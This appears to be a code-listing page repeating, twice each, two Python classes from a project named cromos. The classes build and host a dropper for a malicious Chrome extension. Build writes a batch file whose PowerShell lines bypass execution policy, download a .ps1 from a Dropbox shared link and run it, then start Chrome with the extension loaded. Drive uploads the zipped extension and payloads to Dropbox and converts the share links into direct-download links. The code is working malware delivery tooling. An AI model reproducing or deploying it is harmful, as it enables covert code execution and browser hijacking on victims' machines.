コード例 #1
0
class Build:
    def __init__(self, extension, filetype, token):
        self.extension = extension
        self.filetype = filetype
        self.token = token
        self.color = Colors()

    def builder(self):

        try:

            path = "output/builds/"  # Builds files

            if self.filetype == "bat":

                payloads = "data/payloads/powershell/powershell.ps1"  # Payload file
            elif self.filetype == "vbs":
                payloads = "data/payloads/VBScript/vbs.txt"  # Payload file

            build = "{}.{}".format(self.extension,
                                   self.filetype)  # Make .bat file
            powershell = "{}.{}".format("powershell", "ps1")  # Make .bat file

            if not os.path.exists("output/builds/{}".format(build)):
                print("{} First upload the files to get shared links".format(
                    self.color.yellows("[!]")))
                with open(payloads, 'r') as f:

                    # Set the drop URL or do not
                    payload = f.read()
                    payload = payload.replace('******', "******")

                    if self.filetype == "bat":

                        with open(os.path.join(path, powershell), 'a') as pwsh:
                            # Write the new file
                            pwsh.write(payload)
                        pwsh.close()

                        with open(os.path.join(path, build), 'a') as builder:
                            # Write the new file
                            batch = """
@echo off
	PowerShell.exe -ExecutionPolicy UnRestricted -nop -c "(new-object net.webclient).DownloadFile('******','chrome.ps1')"  
	PowerShell.exe -ExecutionPolicy UnRestricted -nop -c "./chrome.ps1"
	PowerShell.exe Start-Process "chrome.exe --load-extension=C:\chrome\output\extensions\\extensionid"
echo
PAUSE
"""
                            batch = batch.replace('******', "******")
                            builder.write(batch)
                        builder.close()
                f.close()
            else:

                if os.path.exists("output/builds/%s" % build):
                    os.remove("output/builds/%s" % build)
                    os.remove("output/builds/%s" % powershell)

                paths = Drive(self.extension, self.filetype,
                              self.token).ShareLinks()

                # print(paths)

                with open(payloads, 'r') as f:

                    # Set the drop URL or do not
                    payload = f.read()
                    payload = payload.replace('******', paths[0])

                    if self.filetype == "bat":

                        with open(os.path.join(path, powershell), 'w') as pwsh:
                            # Write the new file
                            pwsh.write(payload)
                        pwsh.close()

                        with open(os.path.join(path, build), 'w') as builder:
                            # Write the new file
                            batch = """
@echo off
	PowerShell.exe -ExecutionPolicy UnRestricted -nop -c "(new-object net.webclient).DownloadFile('******','chrome.ps1')"  
	PowerShell.exe -ExecutionPolicy UnRestricted -nop -c "./chrome.ps1"
	PowerShell.exe Start-Process "chrome.exe --load-extension=C:\chrome\output\extensions\\extensionid"
echo
PAUSE
"""
                            batch = batch.replace('extensionid',
                                                  self.extension)
                            batch = batch.replace('******', paths[1])
                            builder.write(batch)
                        builder.close()
                f.close()
        except IOError as e:
            raise e
コード例 #2
0
class Drive:
    def __init__(self, extension, filetype, token):
        self.extension = extension
        self.token = token
        self.color = Colors()
        self.drive = dropbox.Dropbox(self.token)
        self.shareds = []
        self.filetype = filetype

    def upload(self):

        if not os.path.exists("output/extensions/tmp"):
            os.mkdir("output/extensions/tmp")

        path = "/{}".format(self.extension)

        directory = "output/extensions/{}".format(self.extension)
        zipile = "output/extensions/tmp/{}{}".format(self.extension, ".zip")
        batch = "output/builds/{}{}".format(self.extension, ".bat")
        powershell = "output/builds/{}{}".format("powershell", ".ps1")

        if not os.path.exists(zipile):
            for dirname, subdirs, files in os.walk(directory):
                zf = zipfile.ZipFile(zipile, "a", zipfile.ZIP_DEFLATED)
                for filename in files:
                    zf.write(os.path.join(dirname, filename))
                zf.close()

        overwrite = True

        if overwrite:
            mode = dropbox.files.WriteMode.overwrite
        else:
            mode = dropbox.files.WriteMode.add

        mtime = os.path.getmtime(zipile)
        ctime = datetime.datetime(*time.gmtime(mtime)[:6])

        try:

            print('{} Upload files in dropbox'.format(
                self.color.status("[+]")))

            for dirname, subdirs, files in os.walk(directory):
                with open(zipile, "rb") as f:
                    data = f.read()
                    try:
                        self.drive.files_upload(data,
                                                "{}/{}{}".format(
                                                    path, self.extension,
                                                    ".zip"),
                                                mode=mode,
                                                client_modified=ctime,
                                                mute=True)
                    except dropbox.exceptions.ApiError as e:
                        return None
                f.close()
            # print('{} Upload success!'.format(self.color.status("[+]")))
        except Exception as e:
            raise e

        try:

            # print('{} Upload .ps1 file in dropbox'.format(self.color.status("[+]")))
            with open(powershell, "rb") as pwsh:
                data = pwsh.read()
                try:
                    self.drive.files_upload(data,
                                            "{}/{}{}".format(
                                                path, self.extension, ".ps1"),
                                            mode=mode,
                                            client_modified=ctime,
                                            mute=True)
                except dropbox.exceptions.ApiError as e:
                    return None
            pwsh.close()
            # print('{} Upload success!'.format(self.color.status("[+]")))
        except Exception as e:
            raise e

        try:

            # print('{} Upload .bat file in dropbox'.format(self.color.status("[+]")))
            with open(batch, "rb") as pwsh:
                data = pwsh.read()
                try:
                    self.drive.files_upload(data,
                                            "{}/{}{}".format(
                                                path, self.extension, ".bat"),
                                            mode=mode,
                                            client_modified=ctime,
                                            mute=True)
                except dropbox.exceptions.ApiError as e:
                    return None
            pwsh.close()
            # print('{} Upload success!'.format(self.color.status("[+]")))
        except Exception as e:
            raise e

        paths = self.drive.files_list_folder("/{}".format(self.extension))

        for e, file in enumerate(paths.entries):

            try:
                create = self.drive.sharing_create_shared_link(file.path_lower)
            except ApiError as err:
                if err.error.is_shared_link_already_exists():
                    print("{} Link already exists".format(
                        self.color.error("[!]")))

        if os.path.exists("output/extensions/tmp"):
            shutil.rmtree("output/extensions/tmp")

        count = 0

        while count < 1:

            print("{} Uploading the files with the shared link".format(
                self.color.yellows("[!]")))

            build.Build(self.extension, self.filetype, self.token).builder()

            try:

                # print('{} Upload .ps1 file in dropbox'.format(self.color.status("[+]")))
                with open(powershell, "rb") as pwsh:
                    data = pwsh.read()
                    try:
                        self.drive.files_upload(data,
                                                "{}/{}{}".format(
                                                    path, self.extension,
                                                    ".ps1"),
                                                mode=mode,
                                                client_modified=ctime,
                                                mute=True)
                    except dropbox.exceptions.ApiError as e:
                        return None
                pwsh.close()
                # print('{} Upload success!'.format(self.color.status("[+]")))
            except Exception as e:
                raise e

            try:

                # print('{} Upload .bat file in dropbox'.format(self.color.status("[+]")))
                with open(batch, "rb") as pwsh:
                    data = pwsh.read()
                    try:
                        self.drive.files_upload(data,
                                                "{}/{}{}".format(
                                                    path, self.extension,
                                                    ".bat"),
                                                mode=mode,
                                                client_modified=ctime,
                                                mute=True)
                    except dropbox.exceptions.ApiError as e:
                        return None
                pwsh.close()
                # print('{} Upload success!'.format(self.color.status("[+]")))
            except Exception as e:
                raise e

            count += 1
            print(
                '{} The files were hosted on https://www.dropbox.com/home/{}'.
                format(self.color.status("[+]"), self.extension))
            print(
                '{} The executable file was successfully created in /output/builds/{}.bat'
                .format(self.color.status("[+]"), self.extension))
            print('{} Done!'.format(self.color.status("[+]")))
            break

    def ShareLinks(self):

        paths = self.drive.files_list_folder("/{}".format(self.extension))

        for e, file in enumerate(paths.entries):

            try:
                shared = self.drive.sharing_get_shared_links(file.path_lower)
                for links in shared.links:
                    links.url = links.url.replace("?dl=0", "?dl=1")
                    self.shareds.append(links.url)
            except Exception as e:
                raise e

        return self.shareds
コード例 #3
0
ファイル: build.py プロジェクト: jymcheong/cromos
class Build :

	def __init__(self, extension, filetype, token) :
		self.extension = extension
		self.filetype = filetype
		self.token = token
		self.color = Colors()

	def builder(self) :
		
		try:

			path = "output/builds/" # Builds files

			if self.filetype == "bat":

				payloads = "data/payloads/powershell/powershell.ps1" # Payload file
			elif self.filetype == "vbs" :
				payloads = "data/payloads/VBScript/vbs.txt" # Payload file

			build = "{}.{}".format(self.extension, self.filetype) # Make .bat file
			powershell = "{}.{}".format("powershell", "ps1") # Make .bat file

			if not os.path.exists("output/builds/{}".format(build)):
				print("{} First upload the files to get shared links".format(self.color.yellows("[!]")))
				with open(payloads, 'r') as f :

					# Set the drop URL or do not
					payload = f.read()
					payload = payload.replace('******', "******")

					if self.filetype == "bat":

						with open(os.path.join(path, powershell), 'a') as pwsh :
						# Write the new file
							pwsh.write(payload)
						pwsh.close()

						with open(os.path.join(path, build), 'a') as builder :
							# Write the new file
							batch = """
@echo off
	PowerShell.exe -ExecutionPolicy UnRestricted -nop -c "(new-object net.webclient).DownloadFile('******','chrome.ps1')"  
	PowerShell.exe -ExecutionPolicy UnRestricted -nop -c "./chrome.ps1"
	PowerShell.exe Start-Process "chrome.exe --load-extension=C:\chrome\output\extensions\\extensionid"
echo
PAUSE
"""
							batch = batch.replace('******', "******")
							builder.write(batch)
						builder.close()
				f.close()
			else:

				
				if os.path.exists("output/builds/%s" % build) :
					os.remove("output/builds/%s" % build)
					os.remove("output/builds/%s" % powershell)

				paths = Drive(self.extension, self.filetype, self.token).ShareLinks()

				# print(paths)

				with open(payloads, 'r') as f :

					# Set the drop URL or do not
					payload = f.read()
					payload = payload.replace('******', paths[0])

					if self.filetype == "bat":

						with open(os.path.join(path, powershell), 'w') as pwsh :
						# Write the new file
							pwsh.write(payload)
						pwsh.close()

						with open(os.path.join(path, build), 'w') as builder :
							# Write the new file
							batch = """
@echo off
	PowerShell.exe -ExecutionPolicy UnRestricted -nop -c "(new-object net.webclient).DownloadFile('******','chrome.ps1')"  
	PowerShell.exe -ExecutionPolicy UnRestricted -nop -c "./chrome.ps1"
	PowerShell.exe Start-Process "chrome.exe --load-extension=C:\chrome\output\extensions\\extensionid"
echo
PAUSE
"""
							batch = batch.replace('extensionid', self.extension)
							batch = batch.replace('******', paths[1])
							builder.write(batch)
						builder.close()
				f.close()
		except IOError as e:
			raise e
コード例 #4
0
ファイル: drive.py プロジェクト: jymcheong/cromos
class Drive :

	def __init__(self, extension, filetype, token) :
		self.extension = extension
		self.token = token
		self.color = Colors()
		self.drive = dropbox.Dropbox(self.token)
		self.shareds = []
		self.filetype = filetype

	def upload(self) :

		if not os.path.exists("output/extensions/tmp"):
				os.mkdir("output/extensions/tmp")

		path = "/{}".format(self.extension)

		directory = "output/extensions/{}".format(self.extension)
		zipile = "output/extensions/tmp/{}{}".format(self.extension, ".zip")
		batch = "output/builds/{}{}".format(self.extension, ".bat")
		powershell = "output/builds/{}{}".format("powershell", ".ps1")

		if not os.path.exists(zipile):
			for dirname, subdirs, files in os.walk(directory):
				zf = zipfile.ZipFile(zipile, "a", zipfile.ZIP_DEFLATED)
				for filename in files:
						zf.write(os.path.join(dirname, filename))
				zf.close()

		overwrite = True
		
		if overwrite:
			mode = dropbox.files.WriteMode.overwrite
		else:
			mode = dropbox.files.WriteMode.add

		mtime = os.path.getmtime(zipile)
		ctime = datetime.datetime(*time.gmtime(mtime)[:6])

		try:

			print('{} Upload files in dropbox'.format(self.color.status("[+]")))

			for dirname, subdirs, files in os.walk(directory):
				with open(zipile, "rb") as f :
					data = f.read()
					try:
						self.drive.files_upload(data, "{}/{}{}".format(path, self.extension, ".zip"), mode=mode, client_modified=ctime, mute=True)
					except dropbox.exceptions.ApiError as e:
						return None
				f.close()
			# print('{} Upload success!'.format(self.color.status("[+]")))
		except Exception as e:
			raise e

		try:

			# print('{} Upload .ps1 file in dropbox'.format(self.color.status("[+]")))
			with open(powershell, "rb") as pwsh :
				data = pwsh.read()
				try:
					self.drive.files_upload(data, "{}/{}{}".format(path, self.extension, ".ps1"), mode=mode, client_modified=ctime, mute=True)
				except dropbox.exceptions.ApiError as e:
					return None
			pwsh.close()
			# print('{} Upload success!'.format(self.color.status("[+]")))
		except Exception as e:
			raise e

		try:

			# print('{} Upload .bat file in dropbox'.format(self.color.status("[+]")))
			with open(batch, "rb") as pwsh :
				data = pwsh.read()
				try:
					self.drive.files_upload(data, "{}/{}{}".format(path, self.extension, ".bat"), mode=mode, client_modified=ctime, mute=True)
				except dropbox.exceptions.ApiError as e:
					return None
			pwsh.close()
			# print('{} Upload success!'.format(self.color.status("[+]")))
		except Exception as e:
			raise e

		paths = self.drive.files_list_folder("/{}".format(self.extension))

		for e, file in enumerate(paths.entries) :
			
			try:
				create = self.drive.sharing_create_shared_link(file.path_lower)
			except ApiError as err:
				if err.error.is_shared_link_already_exists() :
					print("{} Link already exists".format(self.color.error("[!]")))

		if os.path.exists("output/extensions/tmp"):
				shutil.rmtree("output/extensions/tmp")

		count = 0;

		while count < 1:

			print("{} Uploading the files with the shared link".format(self.color.yellows("[!]")))

			build.Build(self.extension, self.filetype, self.token).builder()

			try:

				# print('{} Upload .ps1 file in dropbox'.format(self.color.status("[+]")))
				with open(powershell, "rb") as pwsh :
					data = pwsh.read()
					try:
						self.drive.files_upload(data, "{}/{}{}".format(path, self.extension, ".ps1"), mode=mode, client_modified=ctime, mute=True)
					except dropbox.exceptions.ApiError as e:
						return None
				pwsh.close()
				# print('{} Upload success!'.format(self.color.status("[+]")))
			except Exception as e:
				raise e

			try:

				# print('{} Upload .bat file in dropbox'.format(self.color.status("[+]")))
				with open(batch, "rb") as pwsh :
					data = pwsh.read()
					try:
						self.drive.files_upload(data, "{}/{}{}".format(path, self.extension, ".bat"), mode=mode, client_modified=ctime, mute=True)
					except dropbox.exceptions.ApiError as e:
						return None
				pwsh.close()
				# print('{} Upload success!'.format(self.color.status("[+]")))
			except Exception as e:
				raise e

			count += 1
			print('{} The files were hosted on https://www.dropbox.com/home/{}'.format(self.color.status("[+]"), self.extension))
			print('{} The executable file was successfully created in /output/builds/{}.bat'.format(self.color.status("[+]"), self.extension))
			print('{} Done!'.format(self.color.status("[+]")))
			break

	def ShareLinks(self) :

		paths = self.drive.files_list_folder("/{}".format(self.extension))

		for e, file in enumerate(paths.entries) :
			
			try:
				shared = self.drive.sharing_get_shared_links(file.path_lower)
				for links in shared.links :
					links.url = links.url.replace("?dl=0", "?dl=1")
					self.shareds.append(links.url)
			except Exception as e:
				raise e

		return self.shareds